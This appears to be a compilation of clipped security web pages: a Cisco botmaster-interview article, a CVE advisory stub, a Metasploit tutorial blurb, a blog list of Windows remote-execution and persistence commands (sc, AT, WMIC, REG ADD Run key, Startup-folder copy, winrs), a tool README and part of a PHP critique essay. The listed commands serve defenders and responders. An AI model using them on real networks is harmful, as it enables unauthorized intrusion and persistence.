source; however, he declined to provide a copy of the modified version he had
adapted. Instead, the botmaster directed the researcher to an online forum
that was contained a profusion of information regarding botnet activity.
Figures 5 and 6 shows the conversations of the botmaster directing the
researcher to the forum. **Figure 5. Directions to a Forum—Part 1**<img
src='img/Temp2_4424.jpg' alt='Directions to a Forum Part 1' />  
**Figure 6. Directions to a Forum—Part 2**<img src='img/Temp2_4413.jpg'
alt='Directions to a Forum Part 2' />

## One-Stop Botnet Shopping

The forum hosted discussions on all the information that anyone would need to
form a botnet, including several detailed how-to guides. The researcher was
able to acquire source code for the bot and the server from the forum. The
server code was based upon a modified Unreal IRC server. The client code,
which would have no legitimate use, was a valuable source for IPS signatures.
While it would be possible that all of the command functionality could be
rewritten, if botmasters were capable of doing that, they likely wouldn’t use
the publicly available source code. Entire sections of the forum were
dedicated to the buying and selling of botnet paraphernalia, such as
RapidShare file hosting accounts, packers, password lists, bot software, and
password stealers. The bot software is advertised much like any other
software, listing various features such as “four methods of command and
control,” “undetected by virus scanners,” “anti-x \(sandbox, debugger,
etc.\),” “process monitoring,” and so forth. Several bot software authors have
followed the Microsoft practice of offering multiple versions of software at
tiered pricing levels. The “For Sale” sections were governed by a very
specific set of rules, including a rule that stated that botnet software could
not be sold in the forum, likely due to the laws of the country in which the
server hosting the forum resides. The software for creating botnets, including
directions and tutorials, was widely available for download or purchase. It
was forbidden to sell the software on the forum if the software was publicly
available, a rule that seemed to be an attempt to deter botmasters from taking
advantage of one another. For concerned bot shoppers, all software was
verified by a trusted moderator so that the buyer could trust that they would
be receiving the software for which they were paying.

## Pretense to Avoid Pwning

The customer who had originally been infected had been clean for months when
the researcher decided to seek out the botmaster again to learn more about the
botnet community. The researcher was concerned about not revealing any
specifics about the customer or himself but needed to establish a level of
trust with the botmaster. With these considerations in mind, the researcher
decided it was more likely that the botmaster would speak with a journalist
than an IPS specialist pretending to be a fellow botmaster. After re-
establishing contact with the botmaster, the researcher promptly “confessed”
to being a reporter researching an article on botnets. The researcher
explained that he had contacted the botmaster again because he was seeking the
most accurate data possible for his article. The researcher expected his
virtual disguise would pass the botmaster’s scrutiny because of the widespread
disdain by certain groups in the security community of the quality of security
reporting. Within the security community, there is a perception that only a
few reporters actually understand the security topics that they cover. Some
part of nearly every story is wrong or greatly exaggerated. For example, a
recent article in PC World \[1\] stated that the widely publicized attack on
the creator of Metasploit was performed by an unknown attacker who had
weaponized Dan Kaminsky’s discovery of a fundamental flaw in DNS \[2\]. The
article contained so many errors that, in addition to a printed retraction,
additional reporting was required to correct the published description of the
issue \[3\]. H D Moore, Metasploit’s creator, claimed that the statements
attributed to him were completely fabricated \[4\]. The botmaster had strong
opinions on security reporting. He mentioned conflickr in particular as
example of faulty reporting that resulted in exaggerated numbers of systems
affected. One antivirus software company \[5\] had based its publicly reported
numbers of affected machine on a variable in the URI sent from the compromised
machines. The variable, known as Q, reported the number of machines that had
been successfully attacked to the botnet’s command and control system. This
method of calculating the number of compromised machines was easily
manipulated by Dynamic Host Configuration Protocol \(DHCP\) and other means. A
user on the company’s public blog even posted a comment pointing out the
possibility of easy manipulation, but the company dismissed the comment and
did not correct its reported numbers. The actual count of affected systems
would not be realized until weeks later in a subsequent report by a separate
research company \[6\] that explicitly pointed out that “Q reports the number
of machines that each victim claims to have infected. Q may be artificially
inflated by reinfections and DHCP effects” \(The Q variable is the value in
the URI that was thought to report the number of compromised machines.\)
According to the latest report \[7\], the numbers reported using the initial
method was was off by a multiple of 50. Figure 7 shows a continuation of the
conversation between the researcher and the botmaster. **Figure 7. A Little
Anonymous Fame**<img src='img/Temp2_4418.jpg' alt='Anonymous Fame' /> The
researcher assured the botmaster that even if he chose not to be interviewed
or answer questions, he could have a little "anonymous fame." Surprisingly,
the botmaster agreed to participate. Recognizing the unusual opportunity, the
researcher suggested a TOR audio conference \[8\] using a method known as
onion routing that would be untraceable. The botmaster reported he did not
have a microphone available, but more likely, he feared the researcher would
try to trace him through the tunneling connections. His reluctance to audio
conference may also have been based on his lack of knowledge of the onion
routing protocol. The researcher’s first question was why it would be
preferable to sell bots instead of turning them into spam or phishing
networks. The botmaster’s answer was that selling bots was a rarity; normally,
bots would be used as a network for phishing attacks. When the researcher
asked how much money could actually be made from phishing activities, the
botmaster was evasive about his most lucrative bot activities, but said “a guy
he knew” was able to earn US$5000 to US$10,000 a week solely through phishing
activities.  
Figures 8 and 9 show conversations about selling bots. **Figure 8. Phish or
Sell**<img src='img/Temp2_4422.jpg' alt='Phish or Sell' />**Figure 9.
Lucrative or Unprofitable?**<img src='img/Temp2_4415.jpg' alt='Lucrative or
Unprofitable' /> The researcher offered the botmaster a lighter question,
asking what was the strangest thing the botmaster had found on a compromised
machine. The botmaster replied he had found inappropriate pictures of a minor
and had promptly reported the issue to the authorities. The researcher asked
the botnet owner about his proudest moment as a botmaster. The answer involved
the Windows Distributed Component Object Model \(DCOM\) attack \(MS03-026, IAM
11104\), which exploited a bug in the DCOM Remote Procedure Call \(RPC\)
interface. The vulnerability existed in all modern versions of Windows at the
time and was remarkably easy to exploit. The botmaster said that when he ran
the attack, his server was flooded with joins, with each join representing the
compromised machine of an unsuspecting user. The researcher and the botmaster
continued to chat, discussing protective measures. New security features in
Windows Vista, such as kernel patch protection, prevented his bot from running
in Ring0 \[9\]. Ring0 is a term from system management mode. Briefly, this
protection system involves three rings. Ring0 is the most privileged ring,
where the kernel resides, and Ring3 is the least privileged ring, where a
user’s programs execute. Given this limitation, the botmaster’s bot would not
function on the Vista OS. Figure 10 shows the conversation about Ring0
**Figure 10. Protective Measures**<img src='img/Temp2_4414.jpg'
alt='Protective Measures' /> Over the course of the conversations, the
botmaster revealed that he could never trust anyone 100 percent of the time
and that it was necessary for him to be on guard constantly and follow good
computing practices. Other botmasters would act on any opportunity to take
over his networks, and according to Google-cache hits, they had tried in the
past. However, lack of trust is common among botnet owners, and with good
reason. In one instance, the botmaster had used a hijacked account to
impersonate a law enforcement official and force another botmaster to abandon
a 6,000-node network. The botmaster had to remain alert at all times, his
firewall blocking nearly all inbound connections, and surfing the Internet via
proxy chains \[10\] to remain anonymous. The botmaster recommended a list of
best and worst sites that are based around forums. Forums may facilitate the
code re-use that is often associated with botnet clients. The botnet community
is similar to the open source community, in which more experienced users in
the forum help or humiliate new botmasters. According to the botmaster, only
20 percent really understand the code offered through the forums; the rest
simply run the code and do their best to follow the help files. He estimated
another three to five percent of botmasters write unique code. Figure 11 shows
a conversation in which the botmaster estimates the percentage of unique
coders. **Figure 11. Who Writes Code?**<img src='img/Temp2_4416.jpg' alt='Who
Writes Code' />

# Conclusion

Many people, researchers included, wonder why attackers do not pursue
legitimate IT or programming jobs. According to the botmaster, the barriers to
legitimate work are a criminal record and a lack of professional education;
frequently, both factors prevent attackers from gaining regular employment.
Figure 12 shows the conversation regarding barriers to legitimate occupations.
**Figure 12. Why not Get a Real Job?**<img src='img/Temp2_4419.jpg' alt='Get a
Job' /> The researcher asked how attackers experience security companies and
services, and whether the botmaster felt pressured by the security companies.
His response was that “a few companies catch on very quickly but, for the most
part, it is business as usual.” As the botmaster stated, running a botnet was
his business. The criminality of running a botnet was simply a by-product of
his primary means of employment. The botmaster's product is a management
interface to a multinode network that can be sold to other customers for a
profit. Perceiving himself as a small business owner, the botmaster is not
concerned with impacting the functionality of a user's personal computer or
with the possibilities of identity theft or data leakage, but instead with
generating income. Anyone with basic computer experience is able to run a
botnet. It is not necessary to understand the code, nor is there a need to
understand networking. Both traditional and new media organizations frequently
report on the need to patch against the latest threat that exploits a recent
vulnerability. Readers rarely hear, however, about the kid who lives in their
neighborhood who runs a 10,000-node botnet based off of MSN instant message
spam. All bots are not created with equal proficiency. Botmasters are
implementing cutting-edge evasion techniques to avoid detection and prevent
reverse engineering. It is imperative to keep attackers of both types in mind,
professionals and script kiddies, when designing a network’s defenses. To
effectively combat the bot economy, the cost of doing business must be raised
by educating users and following security best practices. Attackers pursue
easy money. Maximum gain with minimal effort is the prime motivator for a
botmaster. If the time required to compromise machines increases, attackers
will move on to easier targets. Patching is important, but user education is
key. A corporation can deploy the latest security measures but remain
vulnerable to data theft, hosting spam servers, or worse. Business users must
be educated to comply with safe behavior. If policies are not in place to
limit the infiltration on non business communications or if users do not
understand the importance of leaving random files unopened, there is little
point in administrators patching machines. Using Cisco IPS alerts, the
research team was able to successfully identify and disable a botnet. The IRC
traffic on non-standard ports was a clear sign of compromised systems. Without
Cisco IPS, the customer would have been blind to the botnet activity and its
employees could have had their stored password compromised leading to bank
fraud or identify theft. If the customer had been able to run the IPS inline,
the compromise would not have occurred. An intrusion detection system also has
its place in a network; without the history of previous alerts from a
management tool, the remediation for the customer’s system would not have been
possible.

# References

\[1\] McMillan, Robert. "DNS Attack Writer a Victim of His Own Creation." PC
World, July 29, 2008.
\(http://www.pcworld.com/article/149125/dns\_attack\_writer\_a\_victim\_of\_his\_own\_creation.html\)
\[2\] Invisible Denizen. "Kaminsky's DNS Issue Accidentally Leaked?" July 21
2008. \(http://blog.invisibledenizen.org/2008/07/kaminskys-dns-issue-
accidentally-leaked.html\) \[3\] IDG News Service staff. "DNS Attack Writer a
Victim of His Own Creation." PC World, July 30, 2008.
\(http://www.pcworld.com/businesscenter/article/149136/dns\_attack\_writer\_a\_victim\_of\_his\_own\_creation.html\)
\[4\] Moore, H D. "DNS Attacks in the Wild." Metasploit, July 28, 2008.
\(http://blog.metasploit.com/2008/07/on-dns-attacks-in-wild-and-
journalistic.html\) \[5\] F-Secure. "Calculating the Size of the Downadup
Outbreak." Weblog: News from the Lab. January 16, 2009.
\(http://www.f-secure.com/weblog/archives/00001584.html\) \[6\] Phillip
Porras, Hassen Saidi, and Vinod Yegneswaran. "An Analysis of Conficker's Logic
and Rendezvous Points." SRI International, February 4, 2009.
\(http://mtc.sri.com/Conficker/\) \[7\] Phillip Porras, Hassen Saidi, and
Vinod Yegneswaran. "An Analysis of Conficker's Logic and Rendezvous Points.:
SRI International, February 4, 2009.
\(http://mtc.sri.com/Conficker/\#appendix-1\) \[8\] The Tor Project
\(http://www.torproject.org/\) \[9\] Federico Biancuzzi. "The Quest for ring
0." Security Focus, May 10, 2006.
\(http://www.securityfocus.com/columnists/402\) \[10\] "Proxy Chains"
\(http://proxychains.sourceforge.net/\)

# Acknowledgments

Cisco Security Intelligence Operations

* * *
This document is part of the Cisco Security Intelligence Operations. This
document is provided on an "as is" basis and does not imply any kind of
guarantee or warranty, including the warranties of merchantability or fitness
for a particular use. Your use of the information on the document or materials
linked from the document is at your own risk. Cisco reserves the right to
change or update this document at any time. Back to TopCisco Security
Intelligence Operations  
---

# Instant Online Crash Analysis

**Created:**| _11/13/2010 3:53:46 PM_  
---|---  
**Updated:**| _11/13/2010 3:54:11 PM_  
**Author:**| __  
**Tags:**| _Dumper web analysis programming crashes_  
  

## Windows Crash Dump Analysis: Help From The Experts

## Driver errors **can** cause Windows to crash or hang. Fortunately, there
are multiple ways OSR can help you determine what's wrong\!

## Perhaps you have a crash or hang that you've tried to analyze, but just
can't discover the root cause. You might be on a QA team, a member of the IT
staff, an engineer in a support organization, or a developer with a really
nasty issue.

OSR's Problem Analysis service can help. One of our experts, who works on
analyzing tough Windows systems-level problems every day, is available to
review your crash or hang and provide you a definitive, written, analysis of
the problem as well as guidance on further steps you can take to mitigate the
problem. And we can do this for you within just a few days of receipt of your
problem, and at a very reasonable fixed price. Check it out.

If you don't have a problem that's immediately pressing, you might consider
building your skills. The successful analysis of a crash dump requires a good
background in Windows internals and data structures, but it also lends itself
to a rigorous, methodical approach. Crash analysis is a skill that can be
learned. Our Kernel Debugging and Crash Analysis Seminar will teach you proven
strategies for how to analyze system-level problems.

## Immediate \!Analyze -v: OSR's Instant Online Crash Analysis

Maybe you don't need our help for the specific crash you're dealing with now.
Maybe you just need to quickly grab the output of "\!analyze -v" and be on
your way. We can help you in that case, too\!

Just upload your crash dump... and we'll provide you an **instant analysis**
of your crash dump right here on line. That's right, you'll get your analysis
directly in your browser within a few seconds of clicking the "Upload Dump"
button.

Try it\! It's just one more way that OSR helps the Windows driver development
community.

#### How To Upload Your Crash Dump for Instant Analysis

Select a dump file to upload using the button below. Your upload must be one
of the following:

  * A mini-dump file
  * A kernel summary dump
  * A ZIP archive including a mini-dump or kernel summary dump and \(optionally\) one or more PDBs to be used in the analysis.

_We strongly urge you to zip your dumps for uploading_. The upload will be
faster and we'll all be happier. We'll accept uploads up to about 40MB in
size. Files larger than that limit will either result in an error message or
will simply not upload successfully.

Click "Upload Dump." Your file will be uploaded to our server where it will be
immediately analyzed and \(within a minute or so\) the analysis output will be
displayed in your browser.

Dump File:  
  

NOTE: By clicking the "Upload Dump" button, you agree that OSR may use the
uploaded dump without restriction, including as an example in OSR's Windows
System Software Seminars. All crash dumps uploaded become the property of OSR
Open Systems Resources, Inc. Your dump upload is anonymous, we do not store
any information that associates your dump with your IP address or any other
information from OSR Online.

# Attacking the BitLocker Boot Process

**Created:**| _12/21/2009 5:02:37 PM_  
---|---  
**Updated:**| _12/21/2009 5:02:52 PM_  
**Author:**| __  
**Tags:**| _papers crypto_  
  
<img src='img/Temp2_910' />

# PHP 'socket\_connect\(\)' Function Stack Buffer Overflow Vulnerability

**Created:**| _5/25/2011 10:11:03 AM_  
---|---  
**Updated:**| _5/25/2011 10:11:03 AM_  
**Author:**| __  
**Tags:**| _vulnerability php_  
  

PHP 'socket\_connect\(\)' Function Stack Buffer Overflow Vulnerability  
  
Bugtraq ID:| 47950  
---|---  
Class:| Boundary Condition Error  
CVE:| CVE-2011-1938  
  
Remote:| Yes  
Local:| No  
Published:| May 24 2011 12:00AM  
Updated:| May 25 2011 05:31AM  
Credit:| Mateusz Kocielski, Marek Kroemeke and Filip Palian  
Vulnerable:| PHP PHP 5.3.6  
PHP PHP 5.3.5  
PHP PHP 5.3.2  
PHP PHP 5.3.1  
PHP PHP 5.3  
PHP PHP 5.3.5  
PHP PHP 5.3.4  
PHP PHP 5.3.3  

# Simulate any User Agent or Bot

**Created:**| _5/18/2011 11:04:38 AM_  
---|---  
**Updated:**| _5/18/2011 11:04:38 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  
  
---  
  

### Bots vs Browsers - database of **670,841** user agents and growing

  
  
|

### User Agent Test Track

  
  
Try out a user agent on live web sites by placing the user agent text in the
field below. Next, enter a URL in the URL field and click "GO". You can also
change the resolution height and width of the preview pane, and simulate GET /
POST / HTTP Header Only requests by selecting the method of your choice at the
right.  
---

# Metasploit Videos

**Created:**| _6/20/2010 10:36:29 PM_  
---|---  
**Updated:**| _6/20/2010 10:37:09 PM_  
**Author:**| __  
**Tags:**| _Exploit Metasploit programming_  
  

Are you a security professional that needs to learn the basis of metasploit
but haven't found a source? Darknet consulting \(http://darknet-
consulting.com/\) has done a nice video that shows how to use it.

Download the video here: http://darknet-
consulting.com/video/vector2/meta101.wmv

  

  

People have been asking me to show some basic metasploit and how you use it. I
recently did a security show for the Michigan ISSA folks where we showed
everyone how to use it. So I figured I would re-hash that as well as build on
it to give you a good feel for what you can do. So I created a video \(see
below\) and in the video I show you how to own a box, as well as different
commands you can use and how they work. We will use the aurora exploit, with
\(and without\) the meterpreter, keylogging, victim enumeration, timestomp
\(to mess with a forensic timeline\), backdoors, and more\!

Metasploit 101

\*Be good, be safe, if you are going to hack, hack legally and
responsibly...I'm Out\!

__

Categories:Videos

  

# Authenticated Remote Code Execution Methods in Windows « Thoughts on
Security

**Created:**| _2/4/2013 7:25:23 AM_  
---|---  
**Updated:**| _2/4/2013 7:25:23 AM_  
**Author:**| __  
**Tags:**| _windows vulnerability_  
  

# Authenticated Remote Code Execution Methods in Windows

All of the below are supported ways of remotely executing code that are built-
in to Windows. If psexec isn’t working since a service is not running or ports
are blocked, you can try all these other options; defenders who want to detect
intruders moving through the network need to detect all of these; incident
responders might want to look for evidence of these, etc.

1\. Service Control Manager \(SCM\)  
This method is used by psexec and all of its clones to start the executable
that psexec creates.  
Result:  
A command to be run on demand and/or boot as SYSTEM \(or less privileged
accounts, but why would you do that?\).  
Example:  
step 1/2; a new service can be created:  
` sc REMOTECOMPUTERNAME create myservicename binPath= executableToRun start=
auto`  
alternatively, an existing service can be reconfigured:  
` sc REMOTECOMPUTERNAME config existingservice binPath= executableToRun start=
auto`  
step 2/2; executableToRun will run on the remote system on boot as SYSTEM, or
when instructed by:  
` sc REMOTECOMPUTERNAME start myservicename`  
variants exist for specifying DLL to load instead of executable, etc.  
Implementation details:  
Writing to the svcctl named pipe \(a.k.a. srvsvc\) on remote computer over
SMB. \(TCP port 139 or 445 owned by kernel, forwarded to srvsvc pipe\)  
srvsvc pipe hosted by Server service in svchost.exe running as SYSTEM.

2\. Task scheduler  
Result:  
A command to be run at designated time\(s\) as SYSTEM.  
Example:  
` AT \\REMOTECOMPUTERNAME 12:34 "command to run"`  
Implementation details:  
Writing to atsvc named pipe on remote computer over SMB. \(TCP port 139 or 445
owned by kernel, forwarded to atsvc pipe\)  
atsvc pipe hosted by Task Scheduler \(Schedule\) service in svchost.exe
running as SYSTEM.

3\. WMI  
Result:  
An immediate command execution under the administrative account used.  
Example:  
` WMIC /node:REMOTECOMPUTERNAME PROCESS call create "command to run"`  
Implementation details:  
Connecting to remote procedure call interface \(RpcSs service in svchost.exe
directly listening on TCP port 135\)

4\. Remote Registry  
Result:  
A command to be run or DLL to be loaded when specific events occur, such as
boot or login or process execution, as active user or SYSTEM.  
Example:  
` REG ADD
\\REMOTECOMPUTERNAME\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v
myentry /t REG_SZ /d "command to run"`  
Command will run every time a user logs in as the user. Other options include
creating or modifying services which can run as SYSTEM on the next reboot,
loading a DLL into most new processes with the AppInit\_DLLs registry value,
using IFEO to hijack different commands, and many more.  
Implementation Details:  
Writing to the winreg named pipe on remote computer over SMB. \(TCP port 139
or 445 owned by kernel, forwarded to winreg pipe\)  
The winreg pipe is hosted by Remote Registry service in svchost.exe

5\. Remote File Access  
Result:  
An executable will be run or DLL will be loaded when specific events occur,
such as boot or login or process execution, as active user or SYSTEM.  
Example:  
` xcopy executabletorun.exe
"\\REMOTECOMPUTERNAME\C$\ProgramData\Microsoft\Windows\Start
Menu\Programs\Startup\e.exe"`  
Command will run every time a user logs in as the user. Other options include
DLL hijacks or writing an MOF to the %WINDOWS%\system32\wbem\mof that will be
executed automatically by WMI in older OS’s.  
Implementation Details:  
Writing to remote administrative shares using SMB. \(TCP port 139 or 445 owned
by kernel\)

6\. Remote Desktop  
Best known for interactive GUI logins, the remote desktop protocol also allows
for direct command execution.  
Result:  
Interactive desktop access and/or command execution with the privileges of the
user account used.  
Example:  
` rdesktop 1.2.3.4`  
Opens an interactive remote desktop session.  
Implementation Details:  
Hosted by the TermService service \(“Remote Desktop Services”\) in svchost.exe
by a server socket listening on TCP port 3389.

7\. Windows Remote Management  
Note: this is not enabled by default\! But it is common enough, and the
capability is built-in to recent Windows versions. Often used through
powershell.  
Result:  
Immediate command execution under the administrative account used.  
Example:  
` winrs -r:REMOTECOMPUTERNAME command to run`  
Implementation Details:  
Hosted by Windows Remote Management service \(svchost.exe\), listens on TCP/80
or TCP/5985 and can share port with IIS.

Honorable mentions:  
VNC, SCCM, SSH, and a lot of third party software . Any of your favorites I am
missing? Let me know.

lateral movement , psexec , remote desktop , remote management , wmi

This entry was posted on February 3, 2013, 3:50 pm and is filed under
/dev/urandom , Defense . You can follow any responses to this entry through
RSS 2.0 . You can leave a response, or trackback  from your own site.

# edix/LoadDll · GitHub

**Created:**| _6/23/2014 9:51:01 AM_  
---|---  
**Updated:**| _6/23/2014 9:51:01 AM_  
**Author:**| __  
**Tags:**| _reversing binary_  
  

# LoadDll

Better version of RunDll with GUI. This program allows you to load DLLs on
Windows. You can select how to load the DLL. By direct Entry Point call
\(DllMain\) or if you want to call directly an exported function of the DLL.

#  Supported calling conventions

Right now I support stdcall, fastcall and cdecl.

#  Number of arguments

The number of arguments will be disassembled and assumed by LoadDll \(RETN
instruction\). You can always change the number of arguments. I support only
up to 5 arguments of a function. The argument types can be selected from:
DWORD \(numeric argument, support for dec and hex. Hex start with 0x\), STR
\(String in ASCII\), STRW \(Unicode String\) and a PTR \(pointer which points
to a empty memory allocation\).

#  Usage

Load a DLL in LoadDLL and go on\!

Source is made for Visual Studio 2010 and uses Length Disassembly Engine
\(LDE\) by BeatriX. I made this tool in 2011.

#  Screenshots

Screenshot of LoadDll with executed user32.dll\!MessageBoxW:

<img src='https://github.com/edix/LoadDll/raw/master/screenshot1.jpg'
alt='Main GUI' />

Screenshot of loading TestDLL in LoadDLL. First argument is a string
\(filepath\) and second one is a DWORD \(number of bytes\)

<img src='https://github.com/edix/LoadDll/raw/master/screenshot2.jpg'
alt='TestDLL in LoadDLL' />

# PHP: a fractal of bad design - fuzzy notepad

**Created:**| _4/19/2012 4:41:03 PM_  
---|---  
**Updated:**| _4/19/2012 4:41:03 PM_  
**Author:**| __  
**Tags:**| _LOLZ php_  
  

# PHP: a fractal of bad design

Apr 9th, 2012

## Preface

I’m cranky. I complain about a lot of things. There’s a lot in the world of
technology I don’t like, and that’s really to be expected—programming is a
hilariously young discipline, and none of us have the slightest clue what
we’re doing. Combine with Sturgeon’s Law, and I have a lifetime’s worth of
stuff to gripe about.

This is not the same. PHP is not merely awkward to use, or ill-suited for what
I want, or suboptimal, or against my religion. I can tell you all manner of
good things about languages I avoid, and all manner of bad things about
languages I enjoy. Go on, ask\! It makes for interesting conversation.

PHP is the lone exception. Virtually every feature in PHP is broken somehow.
The language, the framework, the ecosystem, are all just **bad**. And I can’t
even point out any single damning thing, because the damage is so systemic.
Every time I try to compile a list of PHP gripes, I get stuck in this depth-
first search discovering more and more appalling trivia. \(Hence, fractal.\)

PHP is an embarrassment, a blight upon my craft. It’s so broken, but so lauded
by every empowered amateur who’s yet to learn anything else, as to be
maddening. It has paltry few redeeming qualities and I would prefer to forget
it exists at all.

But I’ve got to get this out of my system. So here goes, one last try.

## An analogy

I just blurted this out to Mel to explain my frustration and she insisted that
I reproduce it here.

> I can’t even say what’s _wrong_ with PHP, because— okay. Imagine you have
> uh, a toolbox. A set of tools. Looks okay, standard stuff in there.
> You pull out a screwdriver, and you see it’s one of those weird tri-headed
> things. Okay, well, that’s not very useful to you, but you guess it comes in
> handy sometimes.
> You pull out the hammer, but to your dismay, it has the claw part on _both_
> sides. Still serviceable though, I mean, you can hit nails with the middle
> of the head holding it sideways.
> You pull out the pliers, but they don’t have those serrated surfaces; it’s
> flat and smooth. That’s less useful, but it still turns bolts well enough,
> so whatever.
> And on you go. Everything in the box is kind of weird and quirky, but maybe
> not enough to make it _completely_ worthless. And there’s no clear problem
> with the set as a whole; it still has all the tools.
> Now imagine you meet millions of carpenters using this toolbox who tell you
> “well hey what’s the problem with these tools? They’re all I’ve ever used
> and they work fine\!” And the carpenters show you the houses they’ve built,
> where every room is a pentagon and the roof is upside-down. And you knock on
> the front door and it just collapses inwards and they all yell at you for
> breaking their door.
> That’s what’s wrong with PHP.
## Stance

I assert that the following qualities are _important_ for making a language
productive and useful, and PHP violates them with wild abandon. If you can’t
agree that these are crucial, well, I can’t imagine how we’ll ever agree on
much.

  * A language must be **predictable**. It’s a medium for expressing human ideas and having a computer execute them, so it’s critical that a human’s understanding of a program actually be correct.
  * A language must be **consistent**. Similar things should look similar, different things different. Knowing part of the language should aid in learning and understanding the rest.
  * A language must be **concise**. New languages exist to reduce the boilerplate inherent in old languages. \(We _could_ all write machine code.\) A language must thus strive to avoid introducing new boilerplate of its own.
  * A language must be **reliable**. Languages are tools for solving problems; they should minimize any new problems they introduce. Any “gotchas” are massive distractions.
  * A language must be **debuggable**. When something goes wrong, the programmer _has_ to fix it, and we need all the help we can get.

My position is thus:

  * PHP is full of surprises: `mysql_real_escape_string`, `E_ACTUALLY_ALL`
  * PHP is inconsistent: `strpos`, `str_rot13`
  * PHP requires boilerplate: error-checking around C API calls, `===`
  * PHP is flaky: `==`, `foreach ($foo as &$bar)`
  * PHP is opaque: no stack traces by default or for fatals, complex error reporting

I can’t provide a paragraph of commentary for every single issue explaining
why it falls into these categories, or this would be endless. I trust the
reader to, like, think.

## Don’t comment with these things

I’ve been in PHP arguments a _lot_. I hear a lot of very generic counter-
arguments that are really only designed to halt the conversation immediately.
Don’t pull these on me, please. :\(

  * Do not tell me that “good developers can write good code in any language”, or bad developers blah blah. That doesn’t _mean_ anything. A good carpenter _can_ drive in a nail with either a rock or a hammer, but how many carpenters do you see bashing stuff with rocks? Part of what makes a good developer is the ability to _choose_ the tools that work best.
  * Do not tell me that it’s the developer’s responsibility to memorize a thousand strange exceptions and surprising behaviors. Yes, this is necessary in any system, because computers suck. That doesn’t mean there’s no upper limit for how much zaniness is acceptable in a system. PHP is nothing _but_ exceptions, and it is not okay when wrestling the language takes more effort than actually writing your program. My tools should not create net positive work for me to do.
  * Do not tell me “that’s how the C API works”. What on Earth is the point of using a high-level language if all it provides are some string helpers and a ton of verbatim C wrappers? Just write C\! Here, there’s even a CGI library for it.
  * Do not tell me “that’s what you get for doing weird things”. If two features exist, someday, someone will find a reason to use them together. And again, this isn’t C; there’s no spec, there’s no need for “undefined behavior”.
  * Do not tell me that Facebook and Wikipedia are built in PHP. I’m aware\! They could also be written in Brainfuck, but as long as there are smart enough people wrangling the things, they _can_ overcome problems with the platform. For all we know, development time could be halved or doubled if these products were written in some other language; this data point alone means nothing.
  * Ideally, don’t tell me anything\! This is my one big shot; if this list doesn’t hurt your opinion of PHP, _nothing_ ever will, so stop arguing with some dude on the Internet and go make a cool website in record time to prove me wrong :\)

Side observation: I loooove Python. I will also happily talk your ear off
complaining about it, if you really want me to. I don’t claim it’s _perfect_ ;
I’ve just weighed its benefits against its problems and concluded it’s the
best fit for things I want to do.

And I have never met a PHP developer who can do the same with PHP. But I’ve
bumped into plenty who are quick to apologize for anything and everything PHP
does. That mindset is terrifying.

## PHP

### Core language

CPAN has been called the “standard library of Perl”. That doesn’t say much
about Perl’s standard library, but it makes the point that a solid core can
build great things.

#### Philosophy

  * PHP was originally designed explicitly for non-programmers \(and, reading between the lines, non-programs\); it has not well escaped its roots. A choice quote from the PHP 2.0 documentation, regarding `+` and friends doing type conversion:
> Once you start having separate operators for each type you start making the
> language much more complex. ie. you can’t use ‘==’ for stings \[sic\], you
> now would use ‘eq’. I don’t see the point, especially for something like PHP
> where most of the scripts will be rather simple and in most cases written by
> non-programmers who want a language with a basic logical syntax that doesn’t
> have too high a learning curve.
  * PHP is built to keep chugging along at all costs. When faced with either doing something nonsensical or aborting with an error, it will do something nonsensical. Anything is better than nothing.
  * There’s no clear design philosophy. Early PHP was inspired by Perl; the huge stdlib with “out” params is from C; the OO parts are designed like C++ and Java.
  * PHP takes vast amounts of inspiration from other languages, yet still manages to be incomprehensible to anyone who _knows_ those languages. `(int)` looks like C, but `int` doesn’t exist. Namespaces use `\`. The new array syntax results in `[key => value]`, unique among every language with hash literals.
  * Weak typing \(i.e., silent automatic conversion between strings/numbers/et al\) is so complex that whatever minor programmer effort is saved is by no means worth it.
  * Little new functionality is implemented as new syntax; most of it is done with functions or things that look like functions. Except for class support, which deserved a slew of new operators and keywords.
  * Some of the problems listed on this page do have first-party solutions—if you’re willing to pay Zend for fixes to their open-source programming language.
  * There is a whole lot of action at a distance. Consider this code, taken from the PHP docs somewhere.
[code]       @fopen('http://example.com/not-existing-file', 'r');

    
[/code]

What will it do?

    * If PHP was compiled with `--disable-url-fopen-wrapper`, it won’t work. \(Docs don’t say what “won’t work” means; returns null, throws exception?\) Note that this flag was removed in PHP 5.2.5.
    * If `allow_url_fopen` is disabled in php.ini, this still won’t work. \(How? No idea.\)
    * Because of the `@`, the warning about the non-existent file won’t be printed.
    * But it will be printed if `scream.enabled` is set in php.ini.
    * Or if `scream.enabled` is set manually with `ini_set`.
    * But not if the right `error_reporting` level isn’t set.
    * If it _is_ printed, exactly where it goes depends on `display_errors`, again in php.ini. Or `ini_set`.
I can’t tell how this innocuous function call will behave without consulting
compile-time flags, server-wide configuration, and configuration done in my
program. And this is all _built in_ behavior.

  * The language is full of global and implicit state. `mbstring` uses a global character set. `func_get_arg` and friends look like regular functions, but operate on the currently-executing function. Error/exception handling have global defaults. `register_tick_function` sets a global function to run every tick—what?\!
  * There is no threading support whatsoever. \(Not surprising, given the above.\) Combined with the lack of built-in `fork` \(mentioned below\), this makes parallel programming extremely difficult.
  * Parts of PHP are practically _designed_ to produce buggy code. 
    * `json_decode` returns null for invalid input, even though null is also a perfectly valid object for JSON to decode to—this function is _completely unreliable_ unless you also call `json_last_error` every time you use it.
    * `array_search`, `strpos`, and similar functions return `0` if they find the needle at position zero, but false if they don’t find it at all.
Let me expand on that last part a bit.

In C, functions like `strpos` return `-1` if the item isn’t found. If you
don’t check for that case and try to use that as an index, you’ll hit junk
memory and your program will blow up. \(Probably. It’s C. Who the fuck knows.
I’m sure there are tools for this, at least.\)

In, say, Python, the equivalent `.index` methods will raise an exception if
the item isn’t found. If you don’t check for that case, your program will blow
up.

In PHP, these functions return false. If you use `FALSE` as an index, or do
much of anything with it except compare with `===`, PHP will silently convert
it to `0` for you. Your program will not blow up; it will, instead, do the
_wrong thing_ with _no warning_ , unless you remember to include the right
boilerplate around every place you use `strpos` and certain other functions.

This is bad\! Programming languages are tools; they’re supposed to work _with_
me. Here, PHP has actively created a subtle trap for me to fall into, and I
have to be vigilant even with such mundane things as string operations and
equality comparison. PHP is a _minefield_.

I have heard a great many stories about the PHP interpreter and its developers
from a great many places. These are from people who have worked on the PHP
core, debugged PHP core, interacted with core developers. Not a single tale
has been a compliment.

So I have to fit this in here, because it bears repeating: PHP is a community
of amateurs. Very few people designing it, working on it, or writing code in
it seem to know what they’re doing. \(Oh, dear reader, _you_ are of course a
